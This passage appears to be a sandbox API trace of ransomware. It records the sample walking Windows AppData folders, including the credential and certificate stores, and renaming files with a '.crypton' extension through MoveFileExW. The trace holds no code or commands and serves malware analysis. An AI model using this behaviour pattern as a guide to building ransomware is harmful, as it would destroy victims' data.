ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2700a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2700a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.272] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2700a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2700a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.273] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.crypton"), dwFlags=0x2) returned 1 [0223.284] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.crypton"), dwFlags=0x2) returned 1 [0223.293] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2726be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2726be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.299] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x274cd40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x274cd40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.305] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x274cd40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x274cd40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0223.306] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.crypton" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt.crypton"), dwFlags=0x2) returned 1 [0223.312] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 0xffffffff [0223.319] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2772ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2772ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0223.326] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2772ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2772ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0223.332] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2799000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2799000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.338] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2799000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2799000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.345] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27bf160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x27bf160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.351] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x27bf160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x27bf160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0223.357] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e52c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x27e52c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0223.362] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e52c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x27e52c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.369] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x27e52c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x27e52c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0223.376] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x280b420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x280b420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.383] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x280b420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x280b420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.388] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2831580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2831580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.392] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2831580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2831580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.397] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2831580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2831580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.402] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2831580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2831580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.408] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28576e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28576e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0223.418] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28576e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28576e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0223.424] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x287d840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x287d840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.430] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x287d840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x287d840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.437] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28a39a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28a39a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.443] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28a39a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28a39a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.450] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28a39a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28a39a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.459] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28c9b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28c9b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.466] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28efc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28efc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.471] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28efc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28efc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0223.476] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28efc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x28efc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.487] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.crypton" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.crypton"), dwFlags=0x2) returned 1 [0223.497] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x293bf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x293bf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.503] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x293bf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x293bf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.509] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x293bf20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x293bf20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.787] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.crypton" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat.crypton"), dwFlags=0x2) returned 1 [0223.798] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c0f940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c0f940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0223.803] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c0f940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c0f940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.807] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2c0f940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c0f940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.812] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2c35aa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x2c35aa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.817] 